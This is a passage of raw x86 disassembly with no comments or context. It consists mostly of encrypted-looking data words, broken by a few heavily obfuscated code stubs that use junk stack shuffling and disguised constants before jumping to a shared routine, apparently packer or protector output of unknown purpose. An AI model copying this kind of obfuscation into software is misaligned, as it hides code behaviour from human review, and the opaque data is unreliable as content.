		dd 652D583h, 0A8F275E4h, 0FF15A720h, 2BB57DA5h,	2BA04141h
		dd 46F52DB0h, 0BCF16EEEh, 920DC1D9h, 0C4A69FC6h, 20C62F24h
		dd 0FBD1BAEFh, 33Ah, 51066D00h,	7F4DC477h, 0DDEF6EEDh
		dd 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h,	0CA9E19DBh
		dd 0AA3EB930h, 0D5FD890h, 0E18951B3h, 4C181h, 0E9810000h
		dd 4, 5C240C87h
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	5EA4A83h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		sub	dword ptr [esp], 53A42E02h
		pop	dword ptr [ebx+8]
		add	dword ptr [ebx+8], 53A42E02h
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dd 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 64B8FE42h, 305EA4Fh
		dd 0D4E0FFC5h, 632B6B94h, 4001EB56h, 3765E6C2h,	0CF34ECCEh
		dd 4313F2B1h, 813E2205h, 0A57994A3h, 490512B9h,	0D9256C41h
		dd 0AD7C37ADh, 40F5689h, 90353824h, 0CF0EC755h,	2308826h
		dd 0E7539444h, 0BD1A9B18h, 98753B33h, 1260D6C8h, 2321BE13h
		dd 49483D0Ch, 3F4F608Bh, 0ED603C4Bh, 0B247F87Bh, 68112852h
		dd 0AC137667h, 0EC7CBBDDh, 0BB193951h, 0EB00A8C6h, 8, 9E51AC00h
		dd 478E958h, 86680000h,	0E905EA51h, 0FFFA2D2Ah,	0EA51E668h
		dd 2D20E905h, 4768FFFAh, 0E905EA53h, 0FFFA2D16h, 0F99C17D8h
		dd 0AF2EA921h, 5C43C673h, 0F49B14C6h, 0AD30AF2Eh, 0E96C3D78h
		dd 3B36F6Eh, 53190184h,	0EE6DB5D8h, 0F2D1686Fh,	0EF35AF8Dh
		dd 207F0D54h, 714BC677h, 9297A50h, 1E31BCBFh, 25EE235Ch
		dd 0D4FB72F9h, 0D7B634E1h, 0E93669EEh, 2B77D654h, 0A49F2DACh
		dd 0E8F4FD7Fh, 0D3BC7F54h, 11884DD7h, 0F8C588BBh, 54E8F57Ah
		dd 0F4C439FAh, 33310EEDh, 0B154E8F5h, 0CAAC957Eh, 554E8F4h
		dd 0CFB47DA5h, 3833F8D7h, 28Ch,	0B45E485Fh, 0A99679FBh
		dd 54E91010h, 9AE5B364h, 524E760Dh, 0A46BE9A6h,	9D1CDDC5h
		dd 7ABB14CFh, 4D6A5AD9h, 5B16A295h, 40BD60E2h, 524E8372h
		dd 0C74D2109h, 151A293h, 26E92A54h, 0D9FC7FFCh,	0AA138A41h
		dd 29A27659h, 0CA3BFA5Eh, 0F1000002h, 5AC0C77Eh, 0AC76199Eh
		dd 0FF2BAA2Dh, 47C3C27Dh, 0A3741B96h, 59D08514h, 0EF68EC36h
		dd 38432E8h, 56D1869Ch,	0E4D98837h, 54EF3786h, 0D8CB80E6h
		dd 0D52AED6Fh, 54EF36D7h, 0E723E255h, 0F5D4FB76h, 0D18729ADh
		dd 6EA86556h, 0E75870EFh, 54EF3680h, 7F7CFF7Ch,	280E0E8Eh
		dd 6ADA9B31h, 91000002h, 0FA20A7DEh, 4CD6F97Eh,	9F8B0A8Dh
		dd 0E723A2DDh, 43D4FB76h, 39B02574h, 4FC88C96h,	0E364D248h
		dd 36B126FCh, 44B9E897h, 54EF36E6h, 0CC6B2046h,	0E612106Dh
		dd 0A1924F04h, 0D34805F4h, 5FFA9B48h, 0C087F890h, 0EF81FDFFh
		dd 0D9BC7F54h, 3B940FC1h, 0C8AE91h, 0A70354EFh,	0E7D1B27Bh
		dd 73D233FEh, 0EEF93032h, 0E4D98C54h, 54EEF986h, 17C035E6h
		dd 16758h, 0C077FF00h, 5B71EA60h, 0BC25B7E8h, 0E682E0DDh
		dd 31E24F04h, 3ABD3A64h, 6EEE349Bh, 0A568DBF1h,	4E5DA58h
		dd 3C995A4Fh, 4302807Dh, 2DDFB777h, 71DA2D9Dh, 0EC7051AEh
		dd 0F32F54E9h, 6E08C544h, 46281FADh, 8154E9CCh,	5330F939h
		dd 8433F9B3h, 20h, 0ED6FD8D3h, 860D52Ah, 1BDC54E9h, 7989E41h
		dd 573354E9h, 0EBA1E22Bh, 0B2CA33F8h, 0D000000h, 7349C077h
		dd 2AED64E9h, 0EAFE79F0h, 2E3C9C79h, 809A2EA9h,	958D50CBh
		dd 0DD16A225h, 6C906D70h, 134F04EAh, 0F0C847F7h, 20E31743h
		dd 29E0AE79h, 32B5226Ch, 31BD0753h, 8522460Fh, 15C2B5C8h
		dd 2CBC3BBEh, 8ADE591Eh, 6C336459h, 0EBC86513h,	490CCF54h
		dd 383A0BEAh, 0E454EB80h, 0DC5A8204h, 884B77C6h, 9712C3CFh
		dd 2CAB2AF0h, 3CE6708Fh, 7CC5971Ch, 109h, 8104BF30h, 3756D199h
		dd 0E4EB6EEBh, 9C03BC3Eh, 3558D786h, 11C4D5E0h,	0AB2BF796h
		dd 0FB71A92Ch, 16C55D40h, 1A49F097h, 0EF394725h, 88C7A554h
		dd 444BC677h, 0FF9E19DEh, 49C0776Eh, 5FD89C86h,	5F7DD60Dh
		dd 88F0ECDh, 44FF71A9h,	0F577208Bh, 327B2D12h, 4F9954E9h
		dd 0C81E63CCh, 6F2E6315h, 80078233h, 0E9B3B9BFh, 1D9C5B54h
		dd 0B22DA07Ah, 935F26h,	22780000h, 776431B6h, 2AED6FD8h
		dd 0EF36DBD5h, 0C2965954h, 10D3B783h, 19EDDE69h, 62E552BCh
		dd 5EF267A3h, 652E639Ch, 0B113D842h, 97558138h,	0D1C5C96Ah
		dd 44FBD102h, 0B262F270h, 37D6DAA4h, 6C460980h,	200BEDEh
		dd 0D907DF5h, 6027A615h, 0AD3FB83Ah, 71EA6CB6h,	0AD2FE85Bh
		dd 16A2DD9Fh, 0FEA4ECB6h, 0E547B81Fh, 47A7A34Ah, 4ACDAF94h
		dd 0EC2FA7A3h, 0F970E723h, 4B33C16h, 0DE9CA129h, 0C28F9CF4h
		dd 3CCC973h, 0B631A67Ch, 34322h, 68A0000h, 4DC47751h, 0EF6EED7Fh
		dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h
		dd 3EB930CAh, 5FD890AAh
		db 0Dh,	0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ecx
		push	eax
		mov	eax, 662E2259h
		mov	ecx, 0CC853354h
		add	ecx, eax
		pop	eax
		mov	ebp, 389DA65Ch
		sub	ebp, ecx
		pop	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], ebp
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dd 75B8B26Eh, 305EA54h,	1AE0FFC5h, 0F114C530h, 316B05B6h
		dd 450595Dh, 8D51DA28h,	0EA560B8Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 405E2A34h
		dd 0A0E23F98h, 99950B92h, 0BA05E404h, 1F80F4F0h, 10958D89h
		dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 96EB4FC3h, 0F7A6C779h, 49BD899Bh,	0C705E421h
		dd 0E42C6585h, 746005h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C738B66Ch, 0E430FD85h
		dd 5, 0F18B6600h, 1001B5FFh, 6A05E4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0F9119BC3h
		dd 0CE869h, 9EBE0000h, 8C212EABh, 19641703h, 0FF5E20AFh
		dd 0E42A6195h, 6DBD0105h, 905E404h, 0E41AF595h,	0FF006A05h
		dd 0E410C195h, 0EBC08B05h, 1F35DB79h, 0AB09475h, 2B84343Eh
		dd 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh, 0FF28EC2Bh
		dd 9E8770B8h, 16E28D32h, 5167D5Ch, 6F3F3B1Ah, 0E8AF35Eh
		dd 13852E07h, 6D3FC9C0h, 0C34A57C1h, 0F3843C03h, 11758AC8h
		dd 73B89833h, 63D9E7EEh, 0AE1C6177h, 11DBF903h,	635D0B9h
		dd 2A0A740Bh, 61CE16D4h, 0AF997295h, 649459A0h,	0ACD5B84h
		dd 4A3C0989h, 96643E3Ah, 12E882ACh, 21000000h, 0F6E55431h
		dd 0DA4DC226h, 3AE10BB9h, 363EFCE3h, 236FBBB3h,	315E2549h
		dd 0E41CAD95h, 0FC68105h, 0E900005Ch, 0Eh, 0B0FA5E84h
		dd 0E7F531F0h, 588C8866h, 686B50h, 66000000h, 0D029F381h
		dd 9589605Ah, 5E42715h,	50AED081h, 0FF616115h, 81583234h
		dd 8C4C2EFh, 0E3C0817Ch, 0FC65F753h, 0CBC9E881h, 0BF664EC6h
		dd 0F081CB8Bh, 2F6E3CC8h, 489D98Bh, 12E916h, 0DF810000h
		dd 1684F197h, 4F7EFFBEh, 0CFEB56D2h, 38E895B7h,	5E9h, 5ADA5400h
		dd 0EA813F31h, 61B4644Eh, 25E5BD8Bh, 0C28105E4h, 61B4644Ah
		dd 19C9B589h, 0FA8105E4h, 0FFFFA4C4h, 0FF95850Fh, 0E960FFFFh
		dd 11h,	472BBB37h, 677CBB0Ah, 5751F656h, 5A35CC5Ah, 1BF6622h
		dd 8D8D6169h, 5EA5866h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0F1C35242h, 0C5DB623h, 89F5A5CDh, 0E410958Dh
		dd 7E905h, 0E5CE0000h, 51A59968h, 8DB58BE4h, 0C705E429h
		dd 0E42C6585h, 5D6005h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 779B0FC5h, 6C0FC0A9h
		dd 89F5CBC2h, 0E4079D95h, 0FD85C705h, 5E430h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0ACE5C357h, 0D8C2803Bh, 1001B5FFh, 6A05E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0F68154C3h, 6081B147h, 2A6195FFh, 6A05E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 853F71C3h
		dd 0E6A3EBEAh, 9D8B4B22h, 5E43111h, 95FF006Ah, 5E410C1h
		dd 79EBC08Bh, 6117E09h,	0CC9857AFh, 0D50490F3h,	7EECC100h
		dd 0D822D51Eh, 0A8D05649h, 31574E35h, 5AB0C4B2h, 0B965C01Fh
		dd 2278A2CCh, 9DEE71Dh,	0C4B1FE4Bh, 0BB2CE69h, 9722FA60h
		dd 5E928C5Ah, 0CC7649B8h, 0C82AF691h, 6D636DBh,	5A948756h
		dd 10B373EBh, 0BA59B95h, 23473ACDh, 0F86AD9ACh,	0F8299E0Ch
		dd 39361445h, 0E26EA8Eh, 8611FEABh, 600E2DDDh, 0AF3642A7h
		dd 0CA3B6787h, 3EE8531Dh, 32565DB1h, 1EEACF5h, 325655F5h
		dd 3256ABB1h, 0BABCD5B1h, 0E0B9EAE8h, 325675EBh, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32545DB1h, 3581AEB1h
		dd 325757B8h, 3254ABA9h, 327BD5B7h, 3256E81Fh, 325677F9h
		dd 0F27DB8F9h, 32565DB1h, 903B2A26h, 0DC3FA782h, 0BB73B73Eh
		dd 3E69F185h, 620EB0E4h, 600425D1h, 5267B5EFh, 0AE0E07D0h
		dd 3256BA58h, 28936BB1h, 0D41783FAh, 402B0196h,	8C2FAA72h
		dd 0F86319AEh, 0C2D7DC8Ah, 3EBF9D27h, 3656AEB1h, 42E5755Ch
		dd 0AE59C558h, 0AF7DAF14h, 0B3B379D0h, 0F763BD7Fh, 325053AAh
		dd 75D05DB1h, 0D14433C5h, 0A2370E2Ch, 3256A158h, 0FA3D6FB1h
		dd 46116CD0h, 0B3B5672Ch, 5C12E451h, 3242B4C9h,	675AAEB1h
		dd 0E3AE0CDBh, 3FF29C87h, 3B460673h, 0F76AC5BFh, 62CB3EABh
		dd 6867B5E3h, 6A0C3CE9h, 0AF05EC23h, 35C136E8h,	5156ABB1h
		dd 8D88CCD1h, 3593F3Dh,	533627E1h, 3ABF8BBEh, 0A2565DB1h
		dd 8EF92038h, 689DCDF4h, 6A0EF1E9h, 4DC80C91h, 0ECD77FFDh
		dd 4C963489h, 3256BC58h, 0D6212BB1h, 0AF45ACFCh, 0DB6758D0h
		dd 3256ABA5h, 0B90CD0CDh, 55706BD9h, 31E4C8A5h,	6DA80331h
		dd 495C281Dh, 130EF6EBh, 1612DED0h, 6204FBB5h, 3D0485E3h
		dd 3D0EB080h, 3D042580h, 680EE080h, 626752E9h, 3D37CEE3h
		dd 3D040780h, 680EF180h, 6A0E8FE9h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 0DA36EAB1h, 325675B1h, 91BC3BEBh, 0BF53B7EAh, 0DBF78F34h
		dd 0CBD4DEB4h, 0BF5341E9h, 0D8BDF333h, 0CFD463B4h, 0DA539FE9h
		dd 3256B3FFh, 32562659h, 0DBD469B1h, 3253BDE9h,	6056ABB1h
		dd 181F5077h, 5A00EF55h, 0AEFECDE3h, 14A30F4Eh,	0B7DB5855h
		dd 37B1C381h, 0B7DF874Eh, 37B2B948h, 323ED1DBh,	5A56EAA1h
		dd 325578F1h, 0E2A9BADBh, 469656EBh, 0DBD42782h, 0BB53BDE9h
		dd 0D80E4633h, 3F166CB4h, 0CADDEAB2h, 98A5B582h, 5A52D0E3h
		dd 32564DB1h, 3252AED9h, 0CD563DB1h, 0D6445223h, 0B0DF8FB4h
		dd 37BCB38Ch, 0DBD3FED0h, 0F15350E9h, 0C3D49AD1h, 32534AB5h
		dd 0F55617B1h, 0D6555233h, 3246D5B4h, 52958BB1h, 6ABFCF3Ah
		dd 0DD5BF5Bh, 0B17529B1h, 4654BECEh, 2229D4BAh,	0B158DFB5h
		dd 0D8BDC176h, 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h
		dd 0F137475Ah, 52BADCE4h, 3256AB59h, 0D8D78FB1h, 37BCB629h
		dd 6B17C73Ah, 77DDBF5Bh, 0B150D4B9h, 0D80FEF33h, 0FB3753B4h
		dd 5256AF73h, 3256D559h, 0D8D7B0B1h, 37BC290Dh,	6B6B083Ah
		dd 806D585Bh, 37BCF7F0h, 0CDD6CC5h, 8459743Ah, 75A0D4FEh
		dd 36236AB0h, 30BDACB2h, 7115639Ah, 3677D83Ah, 0BFDDAB55h
		dd 37B27354h, 3B24738Ah, 37210C8Ah, 0D9522C32h,	46994E78h
		dd 0D7EB33B9h
		dd 0D953B995h, 5295CF06h, 32565759h, 0D8D7F1B1h, 37BC88A5h
		dd 6B6B503Ah, 32EF705Bh, 156BAB0h, 0B9FDAE71h, 0D80F9333h
		dd 73D4DEB4h, 535341E8h, 32BEB572h, 6856EAB1h, 6F689F30h
		dd 0B790BF5Bh, 37B277F8h, 5F6FC6E7h, 87A983AEh,	37B28D44h
		dd 5F66503Ch, 0E2A9EF56h, 323E25E3h, 5856BA31h,	0DBE4A2B1h
		dd 0CD5344E9h, 5A0C0F61h, 32562BB1h, 80A9D5DBh,	37BCB38Ch
		dd 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h, 37BC0A3Dh
		dd 0DA5EDE3Ah, 3256D729h, 0CBC415E4h, 6F539FE9h, 475ACF8Ah
		dd 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh
		dd 3256EA59h, 0D8D72FB1h, 37BCE771h, 0B95E283Ah, 6401BECCh
		dd 32566059h, 4696A0B1h, 67AE5E90h, 6AAF784Eh, 90B705Bh
		dd 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch
		dd 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h
		dd 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h,	1BD42DB1h
		dd 33539FE8h, 0B956BAB1h, 0B93055C4h, 0DBEC25AFh, 0B953BDE9h
		dd 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h
		dd 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h,	329351BEh
		dd 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh
		dd 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h
		dd 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h
		dd 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h
		dd 0CD693C5h, 0B26E239Ch, 122C38Fh, 6B7F574Eh, 0B930EF5Bh
		dd 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h
		dd 21226B30h, 0A0A980D1h, 37BCB248h, 0CE13FCECh, 0CE2B39D0h
		dd 0B93528B0h, 0D6525F0Bh, 0B0DD07B4h, 37BCF298h, 6A66E988h
		dd 88DDBAC3h, 37B27648h, 1BD431E1h, 0B53B7E8h, 4D0E9E8Dh
		dd 0F546BC8Ch, 325453F4h, 35BDD5B1h, 33AEAF76h,	0B95675B1h
		dd 0D80E530Bh, 3949D6B4h, 949DA6Ah, 0B959226Fh,	4FD5A7ECh
		dd 3122D549h, 0BBAEB7B2h, 0F5D571EEh, 1B451A5h,	3296B471h
		dd 0B930AEB1h, 3E2BDCAFh, 46BD5031h, 0C2B555BBh, 46261131h
		dd 0F4649EA7h, 759153B6h, 32565DB0h, 0B19125B1h, 0A5BF5271h
		dd 5456ABB1h, 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h
		dd 32565FF6h, 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h, 3D224521h
		dd 47C6D431h, 4CD713BFh, 46C62A4Eh, 0B952B6B3h,	0BF094576h
		dd 0D80F1233h, 0CD00FBB4h, 0D80E2823h, 4696E1B4h, 0BF9EFEBBh
		dd 0D80FFF03h, 6446B6B4h, 0CD03603Ah, 0D80EAE23h, 0FC7DF6B4h
		dd 0B1080C46h, 475712CCh, 981FC5A1h, 0B75902D7h, 8459F6D7h
		dd 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h, 549FDE09h, 3DEE8C1Ah
		dd 3DFD1335h, 9957FC07h, 96A55F5Ah, 6B0D693Ah, 0F09F08EFh
		dd 0B903ABB9h, 32BEB55Dh, 6856EAB1h, 52489F30h,	77DDBF5Bh
		dd 0C3D4D4B9h, 535344E9h, 32529578h, 0B1BA20E4h, 0DA362D75h
		dd 3256EAB1h, 0DBCF4EBh, 0F55350D1h, 3256A5F4h,	7791AEB1h
		dd 3256574Dh, 549698B1h, 0B091CB3Ah, 37BCB398h,	325675B0h
		dd 0A2AD3BD7h, 0B2562821h, 0B659464Ah, 325656B9h, 0DBAD2BF1h
		dd 32A851BEh, 0B216EAB1h, 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h
		dd 3DAD2FD7h, 0D7D25831h, 3156ABB1h, 0D6545C33h, 0C9D6AAB4h
		dd 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h
		dd 88D2A452h, 0B256D5B1h, 0C9D61A52h, 87D27AC1h, 5456BAB1h
		dd 0D1D6433Ah, 8AAD2E49h, 0CD610C5h, 0B214DFB4h, 0F22F88Fh
		dd 463ED431h, 0B0A93589h, 37BCE398h, 0B248D6D7h, 0B3305656h
		dd 46BED64Ah, 2CDDCD95h, 54A63231h, 0F2D71130h,	673662C5h
		dd 6AAF284Eh, 0BB0B585Bh, 0B13752F4h, 3D57ABCCh, 32578334h
		dd 0C3EC5EB1h, 62530EB5h, 6B7FF73Ah, 0E6FBF5Bh,	0B0590581h
		dd 3256AFA0h, 31AFED3Ah, 0B906AE55h, 0D80FFC33h, 26AD3B4h
		dd 0C8D97AE9h, 0B956BAB1h, 0D80EB00Bh, 0DFD42DB4h, 2653BDE9h
		dd 75DF9C38h, 0B0DD85A1h, 37BCB398h, 6A66693Ah,	0DB5EE538h
		dd 32565D64h, 30AEEB76h, 0D95657B1h, 0CA136CB6h, 3256D5B0h
		dd 6ABB503Ah, 0B0D5705Bh, 37BCE25Ch, 0BB61D4A5h, 0CAD5BEF6h
		dd 0F55A22B2h, 0D80F8233h, 3256D7B4h, 0B15301B1h, 6D2B7749h
		dd 32AEC732h, 845946C5h, 0B2FFAFF7h, 475657B1h,	0DAD5EBB7h
		dd 1F5E3EB4h, 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh, 37BC0498h
		dd 6965AA3Ah, 32565718h, 3142DE31h, 37965677h, 6B7F68B2h
		dd 0BB1E705Bh, 75DFB2F6h, 0C500B6BDh, 0C5908569h, 3796D469h
		dd 6B7F29B2h, 0BB1ED05Bh, 75DFE2F6h, 1689EBDh, 33103071h
		dd 1323DD19h, 0F2D568B2h, 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h
		dd 37BF9974h, 31579631h, 3A113372h, 0D95A1A38h,	178E59A5h
		dd 3256574Eh, 0EAA16D9Ah, 0BB541532h, 75DFE2F6h, 0FB378DBDh
		dd 0DEDDEF72h, 52AA9932h, 3256AE59h, 0D8D70DB1h, 37BCC9E1h
		dd 6ABF6F3Ah, 0FB65EF5Bh, 3D564A32h, 32567835h,	0CD51D6B1h
		dd 47A9A2C4h, 41BE07B9h, 4156ABB0h, 269156B4h, 77DF085Ah
		dd 3E238A4Dh, 0CD5ECF4Eh, 330AB586h, 0B059AEB1h, 32565726h
		dd 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h, 4DD589F4h, 3A22BAB5h
		dd 325A2232h, 3CBDACC5h, 0CDA9A809h, 3253124Eh,	99A5D5B1h
		dd 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h,	6DDDAAF6h
		dd 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h, 3A094EBDh
		dd 0B904AFC4h, 677D59E6h, 2603ADA1h, 195A083Ah,	37BD286Bh
		dd 0B9443EEBh, 6DDDEEF6h, 36095EBDh, 31535132h,	0D671603Bh
		dd 22292DB4h, 735722B2h, 6EDF729Ah, 0CDEED4B0h,	8BA9154Eh
		dd 325675B4h, 64BF1142h, 53A9A24Eh, 32466C78h, 0B1BADCE4h
		dd 0DA365775h, 3256D5B1h, 9BC6BEBh, 0B9539FD2h,	0D80E530Bh
		dd 0B19F6EB4h, 0B659AE8Eh, 32565720h, 47A9AC3Ah, 3A232ABDh
		dd 32DE02E1h, 372575B1h, 0D9427D32h, 0CE13D453h, 0CD5ADB4Eh
		dd 5A95FC4h, 3256DA59h,	0B93CA7B1h, 356F16F4h, 77A916C3h
		dd 3629394Dh, 0B15E29B1h, 4656A2CEh, 8A58BCB3h,	0CDA9544Eh
		dd 3256D008h, 0D9FD19B1h, 2229F67Ah, 0B159CEB4h, 47504DCEh
		dd 75DDEFA0h, 3E09DCB5h, 75DDB65Ah, 3E095EB5h, 75DDF95Ah
		dd 3E09FEB5h, 0B152E59Ah, 4DD5585Ah, 3323ADA1h,	0BB8F7CF0h
		dd 8A57AAEDh, 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h, 0F09FDB36h
		dd 0B9035DB9h, 77DDCE5Dh, 3E136CB9h, 776DA3C3h,	0CA55A2A1h
		dd 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh, 325646D1h
		dd 0B30C57B1h, 0D832BA5Bh, 19FE6B4h, 0CE0B636Ah, 6ABFCF3Ah
		dd 0DD5BF5Bh, 0B13229B1h, 3723518Eh, 0D9429032h, 36292840h
		dd 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h, 0B18DB6A5h
		dd 4653BECEh, 2229D4BEh, 7347DEB7h, 0B952923Ah,	2FBDE6EEh
		dd 0B952323Ah, 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh, 37BDD4B5h
		dd 3146D432h, 1917D4C4h, 330A6368h, 0CDA9CDB0h,	37EF454Eh
		dd 0C1565DB1h, 53C1451Ah, 0FBAA123Ah, 6107FB72h, 3256D559h
		dd 0D8D7B0B1h, 37BC112Dh, 6B57203Ch, 56EE585Bh,	0DA56AEB1h
		dd 32565763h, 0F36DA03Ah, 7955C15Ah, 4097D1B5h,	221D76A6h
		dd 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah, 37BC8E0Bh,	3ABD784Eh
		dd 0EEB64F3Ch, 0E1A9EF5Bh, 0F10E2CEAh, 0DABA31E4h, 32565DB1h
		dd 0D9BC2FEBh, 5253BDD5h, 6B57113Ch, 77DDD05Bh,	0B95163B9h
		dd 75DF79F4h, 221331B5h
		dd 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 0D67C9C34h
		dd 283EADB4h, 0CDFE62C2h, 0D6704F04h, 2D3D0B4h,	0CD5349DCh
		dd 0B8DB0561h, 37BCF29Ch, 68862AE0h, 6B7B683Ch,	8559705Bh
		dd 0EADDB6F1h, 686752E3h, 0B0DF6DB2h, 37B25584h, 5251C3D0h
		dd 0E8h, 0EA815A00h, 5EA655Ch, 35828B52h, 0B905E402h, 41C64E6Dh
		dd 55AE1F7h, 3039h, 0FFFFFF25h,	3582897Fh, 5A05E402h, 5251C359h
		dd 0E8h, 0EA815A00h, 5EA658Ch, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h
		dd 0C3595AC2h, 0C08BC08Bh, 5B9D858Dh, 0D0FF05EAh, 8DC18B66h
		dd 0EA655585h, 0D858905h, 8D05E400h, 0EA658585h, 31858905h
		dd 0B805E41Dh, 0
		dd 840FC00Bh, 47h, 2A4985C6h, 685605E4h, 0A9C530DFh, 26F5B5FFh
		dd 858D05E4h, 5E76D30h,	8D50D0FFh, 0E400C58Dh, 46A5105h
		dd 100068h, 95B5FF00h, 0FF05E41Ah, 95BD8BD0h, 305E41Ah
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 0E402C99Dh
		dd 0B038B05h, 5840FC0h,	8B000000h, 4438900h, 234CF6B9h
		dd 0DE800h, 3D270000h, 531B7186h, 0B6DD39B7h, 0B81F48A7h
		dd 4FE972CDh, 0C181F559h, 616Ah, 2BC3BF0Fh, 0BA93BEFFh
		dd 34FF418Fh, 6E90Fh, 2C220000h, 0CEC0E21Fh, 0CE85Bh, 8B680000h
		dd 0B440D97h, 0FCCECB02h, 815E07FBh, 0CD29A3F3h, 8E95Dh
		dd 7B340000h, 27868B69h, 0EB81D86Bh, 6018F4B6h,	0EB81C38Bh
		dd 3EFA46DDh, 247BBE66h, 0F2BF0F53h, 0F39048Fh,	0EF81C3B7h
		dd 4B142C74h, 0A4F08166h, 70C78112h, 0E94B142Ch, 13h, 8389B488h
